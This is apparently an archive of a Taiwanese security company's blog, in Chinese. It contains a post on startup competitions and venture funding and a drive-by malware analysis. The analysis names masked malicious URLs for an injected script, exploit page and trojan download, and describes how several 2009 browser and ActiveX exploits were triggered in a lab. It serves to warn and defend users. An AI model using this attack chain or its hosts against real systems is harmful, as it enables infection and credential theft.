對於一般使用者來說，最簡單的方式可以是使用多個瀏覽器（firefox、safari、chrome），負責進行登入的瀏覽器，不拿來瀏覽其它內容。Firefox可以透過--profilemanager參數來設定不同profile，也是大家常用的方式。對於PDF的XSS攻擊，使用者可以設定不要讓PDF於瀏覽器內開啟，一律以外部Acrobat reader獨立開啟：

作者Wayne為阿碼科技一員

[No Tech] 從資策會 IDEAS SHOW 參展經驗談創業

2009-08-08T03:16:00.019+08:00

今年阿碼報名了資策會的IDEAS SHOW，星期三早上的決賽，我們與另外兩隊（HHOTT、T-Island），拿到了最大獎--評審獎，讓全公司興奮不已！由於客戶量不斷快速增加，大家最近工作已經太忙了，而品質又是我們一向堅持的，在不願犧牲給客戶的品質下，竟然沒有一個人有多出的時間可以幫忙準備這場IDEAS SHOW！原本認真討論過是否放棄，但是又捨不得，只好利用晚上開會，協調讓剛從德國搬來台灣加入我們的Volker（前賽門鐵克歐洲發言人）與共同創辦人COO Matt及CTO Walter三人擔綱，並於週末練習與準備demo所需的環境。其間由於我們對於流程、場地、活動性質等有許多問題，頻頻資策會工作同仁互動，得到了很多的協助，也讓我們充分感受到工作人員對此次活動的熱忱，以及背後的艱辛，感謝各位，也感謝評審委員對我們的支持與給我們的建議，各位辛苦了！

比賽前一天，雖然租了樓下的大會議室做練習的場地，可是三人還是一直被工作干擾，一面練，一面總是有人手機響，這是要怎麼練？下午我去看他們預演時，可以感受到，還不行，大家都不熟，可是我也沒講出來，心裡覺得很對不起他們，明明沒有充分準備時間，又要逼他們上台。結果比賽完，Matt說，練了整晚，總算有成果，我們已經做到我們能力所及最好了，沒有任何失誤，概念也都充分傳達了！每一隊都很強，我們也沒把握能拿獎，但是想到我們已經盡所能，做到能力所及的最好演出了，得名與否，沒有什麼好遺憾的。看著一隊接一隊精彩的演出，台灣有這麼多優秀的軟體公司，在台下感覺真是驕傲！

完整參賽團隊名單在這裡

媒體報導都蠻正面的：
觀察：IDEAS Show閉幕熱鬧才要開始
資策會idea show秀創意　32團隊展出web2.0新應用
台版DEMO展Ideas Show落幕新創網站發聲
IDEAS Show網路創意展擴大規模　產業應用最夯
IDEAS Show網路創意展發表
「2009 IDEAS Show」網路服務創意展～集結網路創意鏈結三網效益提供多元服務

評審寫的blog很有參考價值：[評審日記]2009 IDEAS SHOW網路創意展_校園組

網路上也有很詳細的活動報導整理：
2009 IDEAS Show 網路創意展精彩搶先看
2009 IDEAS SHOW 一些感想（上）

不久候，朋友給我一個連結，PPT上有位網友對活動持比較懷疑的態度（這裡有噗浪上的討論）。看了他的文章，我也思考了許久，就當作對於活動的小小回饋，我來寫一下我個人的看法好了，希望這些整理對以後參賽者來說有些參考價值。
首先，IDEAS SHOW的目的為何？我們看網站上的說明：

********************************
為協助國內網路服務進軍國際市場，進而在國際網路市場佔有一席之地，經濟部技術處委託財團法人資訊工業策進會執行「新世代網路創新服務發展計畫」，藉由媒合各界資源，建立新創網路服務培育機制，促成創新服務國際化發展機會，帶動網路產業發展。

IDEAS Show網路創意展，是資策會為網路新創公司提供的一個發聲管道，亦是國內第一個網路創意服務發表平台。去年資策會移植美國DEMO Show的舉辦、評選模式，舉辦了國內第一個網路創意展覽IDEAS Show，也深獲各方廣大迴響。

為了發掘國內更優秀並具潛力國際化之創新服務，今年將擴大舉辦IDEAS Show，在活動中除了邀請多位國外講者來台演講外，更加入了一場國際創投家的座談會議，期望藉由One Stop Shop的方式，匯集與推廣國內創新服務，吸引國際市場對國內創新網路服務的關注，未來也能幫助國內其他躍躍欲試的網路創業者進入。

DEMO Conference為發表創新產品、服務、點子，以及具新興市場開發的國際發表舞台，目前已有19年歷史，每一年都會受到來自全球數百位投資者和媒體的關注，是國際服務進入美國市場的最佳捷徑。包括地圖日記、citiport、Awind、YouGotPhoto以及meworks等國內網路服務也相繼於美國DEMO Conference及Webi中國北京DEMO China等國際舞台發表，並深獲國際媒體與創投給予肯定。
********************************

恩，所以是帶動網路產業發展，移植已有19年歷史的美國DEMO Conference。Demo Conference的確是全球發表新產品的首選平台，歷經19年，好評不斷。資策會這次能邀到DEMO Conference的創辦人與執行總監Chris Shipley來台參加，實在是太棒了！

可是，DEMO Conference究竟都選怎麼樣的公司上去秀呢？這個秀又如何幫到這些參加的公司呢？我不是那麼熟最新的 Web 2.0 趨勢，其實我大部分時間都專心於把公司的事做好，所以對於這類的創業平台，只能說有聽過，但是平常都沒在follow，不能說熟。這次參賽前，為了能夠做出符合大會想要的demo，我們特別做了功課。首先我看了「What is DEMO」的影片，其中強調：

* 2004 年參展的 six apart，同年拿到一千萬美金的資金。
* 2003 年的 Oddpost，同年拿到兩百多萬美金，之後被 Yahoo 以三千萬美金併購。
* 2006 年的 GrandCentral，先是拿到創投資金，後又被 Google 併購。
* Webex、vmware、salesforce等，都是 DEMO 的畢業生。
* 過去五年，DEMO 畢業生共募了35億美金。
* 今年 1Q，金融風暴中，DEMO 畢業生共募了1.7億美金。
* 目前超過40個畢業生成功被併購。

恩，所以強調的是，被選來DEMO的隊伍，都會非常的成功。而DEMO幫助新創公司成功方式也很明顯：因為DEMO只選擇最好的團隊，所以創投都會來DEMO，全球媒體也都會來DEMO，所以能來DEMO的團隊，能夠立刻吸引創投的注意，與獲得媒體的曝光。所以好的團隊都會很努力的爭取來DEMO的機會，而整個DEMO就成了一個超級的媒合平台--團隊，創投，媒體。

好，那麼DEMO都選擇什麼樣的團隊呢？幾年的公司呢？多大的規模呢？剛起步的嗎？還是已經有募資過的？我無法一一看完全部團隊的資料，但是我看了一下今年DEMO 2009（spring）中得獎（DemoGod）的團隊：

1. Avaak Inc：成立於2004年，去年底做第一次募資，募得七百萬美金。創辦人Gioia是多次成功創業家（serial entrepreneur），過去曾創立 SUMMIT Design Technologies，服務如 Motorola、Lockheed Martin、Texas Instruments、SAIC等。在之前，她創辦 MedSmart 並擔任 CEO。她擁有八篇專利。

2. Coveroo Inc：成立於2008年，第一次募資得250萬美金，創辦人Karl Jacob 為連續四次之成功創業家，過去14年皆致力於廣告產業，也於 Sun 與微軟等公司擔任過高階幹部。在他的職場生涯中，他成功從最頂尖創投中募得超過2億美金的資金。四次創業，皆是從零收入開始，做到成功被併購。其中 Dimension X 被微軟併購，而 Keen (Ingenio) 被 AT&T 併購。他為投資人創造了超過3億美金的投資報酬，這些公司過去平均一年營收超過1.5億美金。他也於 Facebook、Cloudmark、IMMI等公司擔任董事。（注意：他目前創辦的Coveroo只募資了250萬美金）

3. Ontier：成立於2008年，創辦人Mr. Rapport在業界又超過25年的經驗，於 Apple、CAM Systems、Revionics等公司擔任高階職務。

4. Purewire：（資安公司！）成立於2007年，由創辦人與家人共出資475萬美金，CEO Michael Van Bruinisse有15年業界經驗，為前 CipherTrust VP，從公司零收入，到後來一年6千萬美金，最後公司以3億美金被 Secure Computing 併購。更之前在 Sun 工作，為當時 Sun 最年輕的 Director，並協助 Sun 併購 NetDynamics，以及 Logic Works 的上市。

5. Silverstone Solutions：成立於2006年。創辦人自己出資，有25年相關業界經驗，

6. Skout：成立於2006年，只向個人投資人募資，共一百萬美金。CEO Christian Wiklund之前服務於 vmware，CETAC，以及 Chalmers Teknologkonsulter。

7. Technocopia (gwabbit)：成立於2007年，不打算募資，創辦人Todd Miller為連續創業家，1998年創辦WebFeat，成功被Proquest併購。更之前成立Knight-Ridder，並與IBM合作，於1996年獲得Gartner最佳基礎建設獎。

從以上七家今年的DemoGod，我們可以看出，所有創辦人年紀都不輕，擁有很成功的業界紀錄，很多都是連續創業多次的創業家。有些公司有募資，有些沒有，有些也表明未來也沒有打算要募資。看到這些人的履歷，我覺得他們不論有沒有參加DEMO Conference，都會很成功。當然，能參加DEMO，絕對更加幫助他們，加速他們的成功，Chris的意見，輔導與牽線，也都會幫到他們。但是，即使落選，我相信他們最後都還是會成功的。這也讓我覺得，難怪創投都要去DEMO找投資機會，這麼好的團隊，這些創辦人手上都有錢，也都自己放下去，絕不是玩玩而已，要投資他們，創投可能還得多花心思溝通，看他們願不願意拿。

可是，如果DEMO Conference中得獎的團隊都是這樣等級的，那麼年輕人想要網路創業，要參加什麼活動？政府要如何幫忙？

我當然沒有答案，我又不是政府，也不是觀察家，也沒待過創投，要談經驗，其它人可說的比我多很多。不過我們可以來想想，年輕的創業團隊，要的是什麼？

如果有好的技術希望推廣，希望加速發展，開放源碼是一條很好的路。只要技術好，就很容易吸引到同好，進而慢慢建立社群，把技術發揚光大。如果是網站要長大，也有很多微型創業的方法，做一個好的網站，不一定需要很多的資金。這不就是Web 2.0吸引人的地方嗎？

此外，講到「創業」，其實意味著將技術變成你的事業，也就是你養家活口吃飯的依靠。那麼要創業，你想要從一場活動或一場比賽中得到什麼？

最好的資金來源不是投資人，而是客戶。有時聽有人說，我們很成功，一開始就募得資金，還都是很好的投資人。但是聽到這些我就想到，阿碼在美國有個可以算同業的公司，也是我私下的好友，同為寫論文寫到一半，出來創業，他們一開始就能獲利，等到公司很快地長到80人了，才以1.2億美金美金的身價，募了2500萬美金。這才是真正成功的創業團隊--一開始就能自給自足，錢是客戶心甘情願付的，募資時股價高，失去的股份少。

但是公司要抓住市場機會，如果不能一下子收支平衡，而又需要快速成長，就需要資金。可是創投不可能亂投，一個創業過四次並成功為投資人賺了3億美金的Karl Jacob（剛才介紹的 DemoGOD [2] Coveroo），與一個剛出社會的年輕人，投資人要選擇投誰？即使投資了，股價也絕對不會高，這代表了很可能第一次募資後，投資人已經持股過半了。此外，創投可能只信任創辦團隊的技術，而不信任原團隊的管理能力，行銷業務能力，財務規劃能力等等，而強行安插有經驗的管理階層進入。那麼，老實說，創業團隊不過是員工罷了，對公司的影響力大打折扣。這樣情況下，你還能依當初的理想來建立公司嗎？還能繼續影響公司文化與方向嗎？這要看你和投資人的互動如何了。

拿資金就像是結婚，員工相處不好你還可以fire，但是投資人永遠都是股東，相處不好只有一條路：你自己離開。

我認識很多有經驗的創業家，第一次都是自己出，等到做出股價了，才開始募資，一次也只募一點，等到又做到成績，股價又高了，才再募。當然，這要配合公司需要的成長速度，如果真的一次募很多錢，能夠搶到市場先機，那麼也要考慮。可是我看過的，這種想法下失敗的也不少，大家以為砸下去就能拿下市場，結果什麼都沒有。金融風暴後，創投模式（venturecapitalism）是否work，創投產業是否真能獲利，還諸多討論:
(source: forbes.com)

富比士：即將瓦解的創投（Forbes:Venture Capital's Coming Collapse）
VentureBeat：創投模式有問題（VentureBeat:The VC Model is Broken）
VentureBeat：跟創投募資：飛了，飛了，不見了？（VentureBeat：Venture fundraising: Going, going, gone?）
VentureBeat：創投縮水40%，tech boom真的停止了（Venture capital shrivels 40 percent — It really is the end of the tech boom）
TechFlash：該要有新的創投模式了（TechFlash:Time for a new VC model）

我不是說創投產業真的有問題，創投裡多得是頂尖的人才，他們經驗豐富，會不斷修改模式與進步，台灣就有許多好創投仍是獲利很高的，但我的意思是，目前的時局讓創投必須更加更加謹慎的挑案子了。

既然這次IDEAS SHOW主打Web 2.0創業，那來談談Web 2.0吧！看了DEMO今年得名團隊的履歷，我的感想是，矽谷過去這20年中，成功的放手硬體製造業，建立了軟體產業；目前紅的公司，Microsoft，Google，Apple，vmware，Amazon，eBay，Oracle，Facebook，都是軟體公司，IBM也賣了筆電部門，成功地買了Rational / Watchfire，轉型成了軟體公司，Sun 被 Oracle 買了，HP 最大敗筆是併購了 Compaq，但是目前也轉型得不錯，併了 Mercury / SPI Dynamics 等等軟體公司，漸漸轉型成功。

Web 2.0所帶來的機會，矽谷的團隊是早就準備好來接收了。整個過去20年的成功軟體產業，創造了無數對軟體有經驗的軟體創業家，中高階軟體主管，以及投資人。等到 Web 2.0 機會一出來，這些人風起雲湧，熟悉軟體產業的創投，可以很快地看懂技術，評估股價，之後也有各種管道幫公司，找人才，找客戶，找買主；熟悉軟體創業的創業家抓準機會，有了好的IDEA，立刻運用其經驗與人脈網路，創立公司搶佔市場。這些連續創業家通常也不是個人，而是一個團隊。這些團隊以前早就出生入死，打了很多的硬仗，彼此有默契，有信任，知道如何一起工作。

反觀台灣，我們的硬體製造業生態也是如此，絕對可以算是全球頂尖；投資人，創業家，中高階主管，都是身經百戰，實戰經驗無數。說實在我一直很喜歡台灣製造業的文化，謙虛，踏實，嚴謹，有辦法在低利潤中，穩定獲利成長。這是多麼紮實的文化，是我們這20年努力來的文化。我們的軟體產業，是否也有這種文化？

等到 Web 2.0 來了，看到了各種的機會，我們也想要掌握，可是我們不像矽谷，有過去20年的軟體基礎。熟悉軟體創業的投資人在哪裡？團隊在哪裡？都比較少。過去軟體產業並不那麼發達的我們，要如何搭上Web 2.0所帶來的機會？我感覺這是目前的挑戰。

Web 2.0 對於創業家來說，是一個新的好機會，尤其對於年輕人來說。Why？因為成功所需要的資源，相對少很多。硬體製造業，要建廠房，要設備，要原料，要庫存，資金都是用10億為單位在算的。Web 2.0 不用，只要掌握市場需求，很年輕的團隊就能做出很好的網站--台灣的無名小站大家都知道，另外MySpace於2005年賣給Fox時，創辦人Tom Anderson才35歲，Kevin Rose 27歲時創辦Digg，Joshua Schachter 29歲時創辦del.icio.us，Biz Stone 33歲時創辦twitter，Mark Zuckerberg 20歲時創辦Facebook，噗浪團隊平均年齡也在25歲以下。

那麼為何年輕團隊仍然不易取得資金？以下是一些值得思考的數字：

* 創投每1000份business plan，平均只會選6份。
* 這六家「千中選六」的公司中，只有10%會上市。
* 這六家「千中選六」的公司中，30%（1.8家）會被低價收購或變賣資產。
* 10%才會成為高獲利，也就是一千家中，六家選中，然後只有0.6家可以高獲利。

資料來源：J.L. Nesheim (2000), High tech start up: Creating successful new high tech companies

加上自從金融風暴後，創投產業被媒體嚴重質疑，加上金融業大受影響，導致目前創投產業萎縮嚴重，裁員的很多，還有資金的，當然投資會異常小心。花資源去一次DEMO Conference，他們要找很有把握的團隊，即使不能中樂透，至少不會輸光，即使輸了，對金主（除了evergreen或corporate VC，大部分創投的錢也是跟金主募來的）也能交代：這團隊成功這麼多次了，怎料到會輸？如果賭上沒有經驗的年輕人，失敗後會更加被質疑。因此有成功紀錄與多年業界經驗的創業家，以及已經證明能成功獲利的新創公司，在DEMO Conference這種媒合平台中，更顯得吃香了。

可是 Web 2.0 所帶來的--低資金的創業，小團隊做大事的機會--年輕但是有很好點子的團隊要如何能夠搭得上？

我也沒有答案，畢竟我不是這方面的專家。但是我們想一想，即使有了資金，成功的關鍵在哪裡？我想一下幾點都是：

1. 對於市場與客戶的了解--客戶究竟要什麼？
2. 經營模式為何？如何能生存？
3. 對於關鍵技術的掌握。好的IDEA很重要，可是如果能配合高門檻的關鍵技術，不怕別人模仿，就更穩當了。
4. 人才是否到位了？技術人才？行銷/SEO人才？高階管理人才？資金規劃人才（如何與投資人互動）？整個團隊是否有默契，有一起出生入死的工作過？是否有一起經歷大風大浪，同甘共苦過？

以上這些，如果都有明確答案，會減少投資人的風險，增加他們的信心。而這些似乎都不需要資金來建立，平常就可以一步一步建立了。等到這些都建立了，如果run下去真的可行，那麼我想找資金並非難事，也不一定要靠哪個活動幫忙。相反，如果都還不具備，即是得了某某活動的第一名，還是不容易募得資金。即使募得了，投資人也會因為只信任團隊的技術能力，不信任管理能力，而要安插有經驗的管理階層，這不見得是團隊想要的。公司本身也不容易成為那六家公司中的那0.6家成功者。

沒有錯，Web 2.0讓年輕技術人在創業的過程中有了更多的優勢。但是不是說只要有好的點子，就一定容易募到資金，容易成功。以上提到的許多年輕的成功創業家，其實背後都有不少矽谷創業前輩的經驗分享與種種幫忙（投資人也會幫很多），公司內部也不乏非常有經驗的軟體管理人才協助年輕創業家所缺少的經驗。職場與創業，就像是網球比賽或賽車一樣，積分高的不用打會外賽，排在前面起跑。但是只要有實力，其實就沒什麼好怕的，大不了從會外賽開始打，一路打到冠軍，這種回憶不是更美好？

這樣想，只要能參加IDEAS SHOW，是否有得名也就沒那麼重要了。事實上有打球賽的都知道，比賽運氣也很重要，得名與否並不一定代表實力。阿碼目前運氣一直很好，被選上參加的創業平台包括了：2006 Venture Forum，2007 Red Herring Asia 100，2008 Red Herring Global Innovator's Pit Top 10，2008 DOWJONES VentureWire等。其中 Venture Forum 與 DOWJONES VentureWire都是資策會輔導我們參加的--這邊再次感謝資策會的長官！參加這些活動，我覺得最大的收穫是人脈的建立--而且不是創投，不是媒體，也不是任何有名的人。我指的是創業家的社群。創業需要太多的經驗，很多都是我們沒有的，可是這些書本上根本學不到，太多東西，除非你在圈子裡，不然別人根本不會跟你分享。一旦去了Venture Forum，你就是Venture Forum的alumni（校友），去了Red Herring，你就是Red Herring校友，去了IDEAS Show，你就是IDEAS Show的校友。我們因為去了Venture Forum，得以認識Taiwan Liposome的創辦人兼總經理George，那年他們不但上了Red Herring Asia，還是封面故事。等到隔年我們要投稿時，George超夠意思的將他去年的投稿文件直接給了我們，不但教我們如何投稿，更教我們投稿後要如何準備演講，以及活動中我們應該往什麼方向努力，合理的期待是什麼，值得花多少資源等等。之後我們也教了後來申請的團體。

我們去DOWJONES VentureWire時，認識了當時已經從skype創辦人創投ASI募資成功的AirDio創辦人Wen，後來我們跟ASI的互動過程中，Wen幫了很多忙，讓我們能很快認識這家創投，也幫助了雙方快速建立了合理的期望。

創業家的圈子就是這樣子。你要知道，你是創業團隊的一部份，你就流著創業家的血，你就會講一種語言，是只有創業家會講的，是別人聽不懂的。公司做什麼事情都資源不夠，怎麼辦？對手都比我們大，我們雖然技術好太多，可是品牌就是輸，怎麼辦？怎麼跟創投打交道？創投的招數有哪些？同事的父母常問他，明明能去IBM/Google，為何來我們公司，要如何回答？資金該如何規劃？沒錢打廣告，有什麼好的網路資源可以運用？我技術出身，管理經驗不足，該聘CEO嗎？

創業社群中大家總有聊不完的話題--而這些話題也只有這個社群能聊得起來，所以在這些活動中，或後，你可以盡量放馬問問題，對方通常會很願意回答。之後你遇到事情，也隨時可以問大家：這家創投好不好？這篇Gartner你有沒有？Red Herring上了，值不值得買機票去？要投入多少資源？能獲得什麼？多付錢可以擺攤，有必要嗎？Red Herring當期雜誌上可以買廣告，效果怎麼樣？我有時看到一個公司的business plan presentation，覺得真是做得太好了，會立刻上去問，你們花多久時間準備？怎麼練習的？簡報檔是誰做的？某某數據是哪裡來的？

我們自己簡報，也會看台下誰比較專心，然後事後問他，你覺得我們做得怎樣？你覺得我們有表達清楚嗎？你覺得哪裡讓你喜歡，哪裡讓你保留？如果對方也是創業團體，那麼給你的意見絕對會跟一般人不一樣。這次資策會辦的IDEAS SHOW，我們報告完，也很幸運地找DEMO Conference的總監Chris Shipley的空檔時間，希望她批評我們的簡報（感謝資策會能邀到她來台灣啊！）。她的批評可說是一針見血，幾句話表達了我們長久的苦處：「你們解決的問題，不容易簡單表達」。而更厲害的是，她竟然直接給了我們答案。她說，由於Web 2.0的蓬勃發展，導致網站如雨後春筍般出現並長大，但是資安問題無法解決，也讓Web 2.0商機受到了威脅。你們的HackAlert除了在技術上很創新外，商業模式也創新地利用了SaaS模式，走雲端的方式幫企業守護網站，監測網站掛馬。問題是，在這種場合，六分鐘內，你們要顧慮台下為一般end-user，不熟悉網站掛馬，所以你們要解釋，瀏覽被掛馬的網站，會被植入惡意程式，會偷密碼等等，這樣一般人比較聽得懂，但是回過頭來，你們的產品卻不是給end-user的，是給企業的。這中間必須有一個轉折，而你們是否能成功於六分鐘內清楚傳達觀念，關鍵就在於如何做這個轉折。此外，HackAlert只是監控掛馬，並不能解決問題，所以你們要強調，阿碼有源碼檢測CodeSecure，可以找出網站的漏洞，解決問題。

Wow！他才聽六分鐘，看過我們的資料，就很清楚HackAlert做什麼，CodeSecure又做什麼，還能講出源碼檢測（static analysis）、網站掛馬（drive-by downloads），比很多美國的產業分析師還猛，真是太強了，不愧是DEMO Conference執行總監！後來她給我們的建議也都是一針見血，讓我們覺得真是收穫很多。

不過，要有這些收穫，不但不一定要在IDEAS SHOW上得名，甚至也不一定要能去IDEAS SHOW這種平台--譬如之前HappyWeb辦的Demomo Show（規定就是「該網站/服務的程式開發團隊必須在三人以下)，或bof.tw，都是很適合的活動，可以達到展示，交流與經驗分享的目的，或許認識到的人，還更懂Web 2.0之道，更有幫助。也許此類活動，到場的創投不比DEMO Conference或IDEAS SHOW來得多，但是Web 2.0吸引人的地方，不就是創業不需太多資源嗎？為何一開始就一定要找資金？還有，我覺得一些新創公司起來後能強很久，跟文化很有關：資源短缺會迫使團隊孕育出一些很好的文化（苦笑）。這邊介紹一些我覺得好的資源給各位，這些都能幫助創業團隊在最小的資源下達到最大的效果：

1. 創業家手冊：第一次創業家的59個資源（The Entrepreneur’s Handbook – 59 Resources For First Time Entrepreneurs）--從資金到BP範本到網站到行銷到HR到法律資源都有，整理得很完整，又不浮濫--台灣有類似的文章嗎？麻煩推薦一下，感謝！

2. TheFunded.com：創業家交流平台，註冊要經過審核，只有創業家與投資人兩種身份能註冊。不登入也能看到「public」文章但是「private」文章看不到。最寶貴的資源是創業社群對於創投公司與創投公司中每位個人的即時評論。律師、專利事務所與兼職美工都是常見的問題。另外每天都有團隊分享他們拿到的termsheet，所以你可以大概了解，在哪一區（歐美亞）的哪個產業的什麼樣規模的公司，目前拿到的股價大概如何。

3. 創投的前十大謊言（The Top Ten Lies of Venture Capitalists）

4. 跟創投打交道的十個訣竅（10 Tips On Negotiating With VCs）

有好的資源的讀者也麻煩不吝提供！

但要特別提醒一下，網路上的東西，由於是公開資訊，沒法太深談，所以創業社群中才是主要能學到東西的地方。有經驗的投資人，也是大寶藏，所以碰到他們時，不一定目標要設定為要他們投資，讓他們花時間給意見，也是很值得的。

雖然募資永遠不易，但令人慶幸的是，軟體產業正帶來前所未有的機會，Web 2.0創業不說，光是傳統的軟體公司，對創業家來說就有一個很明顯的好處：所需要的資源遠比硬體創業少，所以通常軟體公司中，團隊持股都很高，影響力也就高；畢竟，軟體公司的價值就在於人。以下圖表為知名傳統軟體公司於上市前之團隊/投資人持股比例，資料來源：Saratoga Ventures Finance

創業永遠是一條艱辛的路，但想要創業代表你有著豐富的信心、實力與創造力。在創業的過程中，每一步努力都會有一步的收穫，共勉之！

阿碼科技Matt與Wayne

Matt聯絡方式：matt__鼠__armorize點com

暑假0day掛馬盛期，網友們要小心！

2009-07-22T19:36:00.026+08:00

最近接二連三爆出很多 0day 漏洞，讓擅長利用網頁掛馬攻擊手法拓展「業務」的地下經濟，突然又熱絡了起來，也造就新一波的掛馬高峰期。這幾天聽到幾位朋友跟我說作業系統已經更新到最新了還中木馬，於是請他們丟些可疑網址給我看看，略為分析了一下某網站，上面主要是被插入這串： (網址加上*號，防止不小心點到)

http://ok**.org/z.js

，繼續追蹤發現主要的網馬都包含在這網頁裡面：

http://6****.com/aa/a3a.htm

，接著我發現了一件事情「挖！好牛喔！」以前看到的網馬裡面還會放一堆老舊的 Exploit，而這隻網馬我分析了一下，看到都是近期爆出的 0day 漏洞，主要攻擊以下的漏洞：

1.DirectShow的DirectX NULL Byte Overwrite Vulnerability 請參考這裡
2.DirectShow MPEG2TuneRequest Stack Overflow Exploit 請參考這裡
3.FireFox 3.5 (Font tags) Remote Heap Spray Exploit 請參考這裡
4.Microsoft Office Web Components (Spreadsheet) ActiveX BOF (注意!微軟尚未更新)

以上網馬都是下載同一隻木馬，路徑在: http://ho****8.com/svchost.exe 。 (註：下載惡意程式的路徑會一直改變)

以下針對每隻網馬做觸發測試 (危險動作，請勿模仿)

1.DirectX NULL Byte Overwrite Vulnerability
2.DirectShow MPEG2TuneRequest Stack Overflow Exploit

可以在 test.htm 裡面看到有兩個 jpg 分別為 go.jpg 與 go1.jpg 就知道這是最近的 DirectShow 漏洞，go.jpg 利用的是 DirectShow 6月份爆出來的第一隻 0day ，可參考這裡，而 go1.jpg 利用的則是最近很紅的弱點，不過微軟上禮拜二已經修正了，我們同事之前也有談到相關內容： 3b3.org 在 0 Day 的大復活日記。

以上弱點的解決方法：透過微軟更新。

3. FireFox 3.5 (Font tags) Remote Heap Spray Exploit

我在測試環裡面使用了 FF3.5 BETA5 版成功觸發 Exploit，下面有一系列截圖。

he.htm 就是 FireFox 3.5 (Font tags) Remote Heap Spray Exploit

h.js 就是駭客的呼叫遠端惡意程式的 Shellcode。

此圖為利用 FireFox 3.5 beta4 瀏覽 he.htm 時，在 Process 可以看到在 FireFox 下悄悄的執行了惡意程式。

解決方法：將 FireFox 更新為3.5.1 就可以了，但現在也有針對3.5.1的漏洞，所以我們自己還是要小心一點，隨時注意更新或使用第三方軟體(如 NoScript)防範！

4.Microsoft Office Web Components (Spreadsheet) ActiveX BOF

測試環境是安裝最新版Office 2003 版，並更新到最新，仍觸發成功。

一開始使用 IE 打開 of.htm 這個網頁，首先他會先判斷你有沒有安裝 Office ，假如有安裝 Office，且瀏覽器的安全性設定裡面的執行 ActiveX 控制項與外掛程式設定為「啟用」，那瀏覽到惡意網頁時，會不知不覺直接下載一個 Microsoft 元件 owc10.dll，然後執行呼叫遠端的的惡意程式到本機執行，這樣就中木馬了！

假如執行 ActiveX 控制項與外掛程式設為「提示」，則瀏覽惡意網頁的時候，會跳出視窗詢問「你是否同意執行 ActiveX」，只是，一般使用者應該都會閉著眼睛直接按下同意吧！

而我的測試環境是在 IE 上裝了 add-ons 來測試，在瀏覽惡意網頁時一樣會在 IE 跳出一個 ActivX 請求在瀏覽器上安裝 owc10.dll，然後與絕大多數使用者的反應一樣按下 Run ，接著就觸發駭客寫好的 shellcode ，騎著可愛的小馬回家了！

解決方法：目前微軟尚未發佈更新，只能等待，使用者要提高警覺，不要看到對話框就按「是」！

總結:
1.這一次分析的網馬上面所利用的各種 Exploits 都是最近爆發出來的新弱點，雖然有些已經發佈更新了，但是我相信一定還有不少使用者還沒有更新系統，原因可能是盜版或是懶得更新等等，這樣造成了瀏覽網站的風險始終高居不下！

2.這次測試，比較花時間的部份都是在整理測試環境，這些網馬觸發的機率都很高，也不需要很嚴苛的條件，使用者要提高警覺，注意更新或使用第三方軟體(如 NoScript)來保護自己的瀏覽行為。

3.對於瀏覽網站過程中，出現莫名其妙要您的 IE 瀏覽器接受 ActiveX 下載 dll時，請千萬要注意，不要隨便同意 ActiveX 下載，以免遭植入惡意程式，騎著小馬回家！

4.擔心自己網站被掛馬，可以註冊免費HackAlert網站掛馬監控帳號。

作者Sun為阿碼科技資安顧問

誰在看我的噗？第四回：我噗誰在看！

2009-07-20T10:33:00.007+08:00

「微型部落格」在網路上已經熱鬧好一陣子了。你噗了嗎？噗！是噗浪還是叭噗咧！

誰在看我的噗？前三回已經介紹頗多的「微型部落格」本身經常會遇到的問題，我們部落格上之前也有詳細介紹「twitter」所遭遇到的攻擊問題，可以參考這裡。OWASP 排行榜上的第一名看來並非浪的虛名。

這篇文將會從使用者的角度來看「微型部落格」所帶來的衝擊，在說明前還是要回顧一下「網站」發展的過程，回顧歷史才能展望未來。不過，這裡我還是要強調一件事：網站攻擊不是現在才有，它一直存在，只是當今其他問題(如蠕蟲、系統漏洞攻擊)大多獲得控制(如線上更新、入侵防禦設備)，而你的網站卻一直沒有進步，當然成為標靶了。

「網站」發展的過程，我大概以兩個時間為分界點：2000年及2005年。在2000年以前談的網站大多是所謂的 ERP(企業資源規畫)、EIP(企業資訊入口)、CRM(客戶關係管理)、KM(知識管理)...等，況且哪時這類系統還有許多並非以網站來呈現的，且那時大多屬於封閉型的系統或網站型態，因此大部分躲過了威脅攻擊。

2000年後網路興起，「E化」是當時相當有名的名詞，也是動詞的哩，而網際網路公司可以說是紅到不行，當時股市衡量股價是否合理的方式是用本益比，但對網際網路公司是用「本夢比」，這樣你應該該可以想像網際網路公司即使虧錢，股價依舊高漲不歇，因為夢想多大、股價就有多高。這個時候大家談論的網站是啥呢？大家回想起來了嗎？B2B、B2C、C2C，還有物流、金流、資料流...，是否回想起來了呢？

B2B：大多是整合企業上下游之間的網站系統，這類網站大多封閉，是比較不容易出事，但不代表比較安全，因為會接觸到這邊的，大多可能屬商業間諜，行動隱密也低調；就算出事，業主本身也會相當低調，外界不會知道發生啥事。如果企業主發現你的對手對你的行銷、企劃...等有瞭若指掌的情況，可能要注意這類資訊系統的入侵可能性了。

B2C：簡單的說就是購物網站了，這點大家就應該很熟悉了吧。發生哪些資安問題呢？大家不會忘了吧...XD！google大神的開示。至於政府單位的 B2C ...XD，參考這篇吧。

C2C：簡單說就是拍賣交易網站了。造成哪些問題呢？簡單說就是「詐騙」、「詐欺」的社會問題。

在這個階段，另外有個神奇的東西，它本身不是網站方式呈現，但卻造就不少「釣魚網站」，對！就是 IM(Instant Messaging) 軟體，且它到現在還是很紅。
你！出賣朋友嗎？
網路上交朋友要小心
騙取MSN帳密的釣魚網站...真多!!

2005年之後，所謂的「網誌」大量出現，也就是所謂的部落格(Blog)、網路日誌、博客...等等。在前一波網路泡沫之後，Web 2.0 的觀念，帶動了許多網站的興起。這時你應該能想到很多網站吧！文字的部落客就像我們阿碼外傳一樣，圖片的無名相簿網站，影音的 YouTube網站。在這個時候產生哪些問題呢？其實機乎不是資安問題，大多是社會問題，文字部分涉及言論自由、圖片部分涉及個人隱私或私密、影音部分多是犯罪實錄...XD。可以發現網路與生活越來越緊密了。

Web 2.0 簡單說，就是有個網站提供一個平台，讓使用者可以自己產生內容，並與其他使用者之間進行互動的一個網站。

2008年後開始出現「微網誌」，讓使用者與其他使用者的互動更加緊密了。所以有 Plurk、Buboo、facebook、twitter...的出現。而 XSS 漏洞透過這類社群網站獲得重生了，因為社群網站使用者眾多，XSS 蠕蟲可以在一天之內感染數萬個使用者，甚至造成社群網站服務的效能崩潰。這只是資安問題的。我擔心的是另外一個問題。

